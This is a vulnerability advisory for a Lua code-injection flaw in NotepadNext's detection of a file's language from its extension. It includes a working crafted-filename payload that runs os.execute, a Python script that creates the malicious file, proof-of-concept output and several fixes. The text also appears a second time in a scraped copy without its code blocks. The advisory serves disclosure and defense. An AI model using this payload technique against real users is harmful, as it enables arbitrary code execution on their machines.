[NotepadNext] Arbitrary Code Execution via Lua Injection in Filename Extension Handling
Summary
NotepadNext's detectLanguageFromExtension() function interpolates a file's extension directly into a Lua script without sanitization. An attacker can craft a filename whose extension contains Lua code, which executes automatically when the victim opens the file in NotepadNext. Because luaL_openlibs() is called unconditionally, the full os, io, and package libraries are available to the injected code, enabling arbitrary command execution.
- Severity: High
- CVSS v3.1:
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — Score: 7.8
- CWE: CWE-94 (Improper Control of Generation of Code)
- Affected versions: ≤ v0.13
- Patched versions: None (unpatched at time of report)
- Ecosystem: C++ / Qt
Vulnerability Details
File: src/NotepadNextApplication.cpp (line 317)
QString NotepadNextApplication::detectLanguageFromExtension(const QString &extension) const
{
qInfo(Q_FUNC_INFO);
return getLuaState()->executeAndReturn<QString>(QString(R"(
local ext = "%1"
for name, L in pairs(languages) do
if L.extensions then
for _, v in ipairs(L.extensions) do
if v == ext then
return name
end
end
end
end
return "Text"
)").arg(extension).toLatin1().constData());
}
The extension parameter is obtained via QFileInfo::suffix() (line 303), which returns the substring after the last . in the filename. This value is inserted into a Lua script template using QString::arg() with no escaping, quoting, or validation.
Additionally, LuaState::LuaState() calls luaL_openlibs() unconditionally:
// LuaState.cpp:82
luaL_openlibs(L);
This exposes the full standard library (os, io, package, etc.) to any injected Lua code.
Attack Scenario
-
Attacker creates a malicious file whose filename extension contains Lua code. To avoid POSIX filename restrictions and prevent QFileInfo::suffix() from truncating at embedded dots, the OS command is encoded using Lua decimal escape sequences (\NNN):
evil." load("\111\115\46\101\120\101\99\117\116\101\40\39\116\111\117\99\104\32\47\116\109\112\47\120\120\120\39\41")()--
QFileInfo::suffix() extracts everything after the last .:
" load("\111\115\46\101\120\101\99\117\116\101\40\39\116\111\117\99\104\32\47\116\109\112\47\120\120\120\39\41")()--
-
Victim opens the file in NotepadNext via File → Open, drag-and-drop, CLI argument, or session restore.
-
NotepadNext calls detectLanguageFromExtension(), constructing the following Lua source:
local ext = "" load("os.execute('touch /tmp/xxx')")()--"
for name, L in pairs(languages) do
...
Lua parses this as:
local ext = "" — assigns empty string
load("os.execute('touch /tmp/xxx')")() — compiles and executes the injected OS command
--" — comments out the remainder
-
os.execute() runs with the victim's OS privileges.
Proof of Concept
Automated PoC (macOS)
See attached poc_nn001_calc_demo.py. Running it against NotepadNext v0.13 on macOS launches Calculator.app:
$ python3 poc_nn001_calc_demo.py
[INFO] Binary : /Applications/NotepadNext.app/Contents/MacOS/NotepadNext
[INFO] Payload : os.execute('open -a Calculator')
[INFO] Malicious file: /tmp/evil." load("...")()--
[OK] File created
[INFO] Launching NotepadNext with malicious filename as CLI argument...
[INFO] Waiting for startup...
[OK] Calculator.app launched — RCE confirmed
Manual Reproduction
# 1. Create malicious file
python3 -c "
cmd = \"os.execute('open -a Calculator')\"
encoded = ''.join(f'\\\{ord(c)}' for c in cmd)
filename = f'evil.\" load(\"{encoded}\")()--'
open(f'/tmp/{filename}', 'w').close()
print('Created:', repr(filename))
"
# 2. Open in NotepadNext (any of these triggers the payload)
open -a NotepadNext /tmp/evil.* # Finder / open command
/Applications/NotepadNext.app/Contents/MacOS/NotepadNext /tmp/evil.* # CLI
# Or: drag the file onto NotepadNext in Finder
Runtime Log Confirmation
[0.147] I: void NotepadNextApplication::openFiles(const QStringList &)
[0.188] I: void MainWindow::detectLanguage(ScintillaNext *)
[0.188] I: QString NotepadNextApplication::detectLanguageFromExtension(const QString &) const
Calculator.app opens immediately after detectLanguageFromExtension() is entered.
Impact
- Arbitrary Code Execution under the victim's user account
- Full filesystem read/write access via Lua
io library
- No authentication or special privileges required — only requires the victim to open a file
- Multiple trigger vectors: File → Open dialog, CLI argument, session restore, drag-and-drop
- Platform: macOS and Linux (POSIX filesystems allow
" in filenames; Windows NTFS does not, limiting exploitability there)
Recommended Fix
Option 1 (Preferred): Pass the extension as a Lua global variable instead of interpolating it into the script source:
lua_pushstring(L, extension.toLatin1().constData());
lua_setglobal(L, "ext");
// Lua template uses the global `ext` directly — no injection possible
Option 2: Sanitize the extension before interpolation — escape or strip characters that can break out of a Lua string literal:
QString safeExt = extension;
safeExt.replace("\\", "\\\\")
.replace("\"", "\\\"")
.replace("\n", "")
.replace("\r", "");
// Use safeExt in the Lua template
Option 3: Restrict the Lua sandbox — do not call luaL_openlibs() unconditionally. Language detection does not require os, io, or package; exclude them from the sandboxed environment.
Additional Notes
- The same injection pattern may apply to
setLanguage() (line 275), which also constructs Lua via QString::arg() with potentially user-controlled input.
luaL_openlibs() is called in both LuaState.cpp:82 and LuaExtension.cpp:696, providing a large attack surface.
- Payload encoding detail:
QFileInfo::suffix() returns everything after the last dot. Any dot inside the payload causes truncation. Using Lua decimal escape encoding (\NNN) removes all dots from the payload, producing a reliable, dot-free injection string that passes through suffix() intact.
References
- Vulnerable source:
src/NotepadNextApplication.cpp:303-329
- Lua execution:
src/LuaState.cpp:82, src/LuaExtension.cpp:696
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CVSS Calculator:
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
[NotepadNext] Arbitrary Code Execution via Lua Injection in Filename Extension Handling
Summary
NotepadNext's
detectLanguageFromExtension()function interpolates a file's extension directly into a Lua script without sanitization. An attacker can craft a filename whose extension contains Lua code, which executes automatically when the victim opens the file in NotepadNext. BecauseluaL_openlibs()is called unconditionally, the fullos,io, andpackagelibraries are available to the injected code, enabling arbitrary command execution.AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H— Score: 7.8Vulnerability Details
File:
src/NotepadNextApplication.cpp(line 317)The
extensionparameter is obtained viaQFileInfo::suffix()(line 303), which returns the substring after the last.in the filename. This value is inserted into a Lua script template usingQString::arg()with no escaping, quoting, or validation.Additionally,
LuaState::LuaState()callsluaL_openlibs()unconditionally:This exposes the full standard library (
os,io,package, etc.) to any injected Lua code.Attack Scenario
Attacker creates a malicious file whose filename extension contains Lua code. To avoid POSIX filename restrictions and prevent
QFileInfo::suffix()from truncating at embedded dots, the OS command is encoded using Lua decimal escape sequences (\NNN):QFileInfo::suffix()extracts everything after the last.:Victim opens the file in NotepadNext via File → Open, drag-and-drop, CLI argument, or session restore.
NotepadNext calls
detectLanguageFromExtension(), constructing the following Lua source:Lua parses this as:
local ext = ""— assigns empty stringload("os.execute('touch /tmp/xxx')")()— compiles and executes the injected OS command--"— comments out the remainderos.execute()runs with the victim's OS privileges.Proof of Concept
Automated PoC (macOS)
See attached
poc_nn001_calc_demo.py. Running it against NotepadNext v0.13 on macOS launches Calculator.app:Manual Reproduction
Runtime Log Confirmation
Calculator.app opens immediately after
detectLanguageFromExtension()is entered.Impact
iolibrary"in filenames; Windows NTFS does not, limiting exploitability there)Recommended Fix
Option 1 (Preferred): Pass the extension as a Lua global variable instead of interpolating it into the script source:
Option 2: Sanitize the extension before interpolation — escape or strip characters that can break out of a Lua string literal:
Option 3: Restrict the Lua sandbox — do not call
luaL_openlibs()unconditionally. Language detection does not requireos,io, orpackage; exclude them from the sandboxed environment.Additional Notes
setLanguage()(line 275), which also constructs Lua viaQString::arg()with potentially user-controlled input.luaL_openlibs()is called in bothLuaState.cpp:82andLuaExtension.cpp:696, providing a large attack surface.QFileInfo::suffix()returns everything after the last dot. Any dot inside the payload causes truncation. Using Lua decimal escape encoding (\NNN) removes all dots from the payload, producing a reliable, dot-free injection string that passes throughsuffix()intact.References
src/NotepadNextApplication.cpp:303-329src/LuaState.cpp:82,src/LuaExtension.cpp:696AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H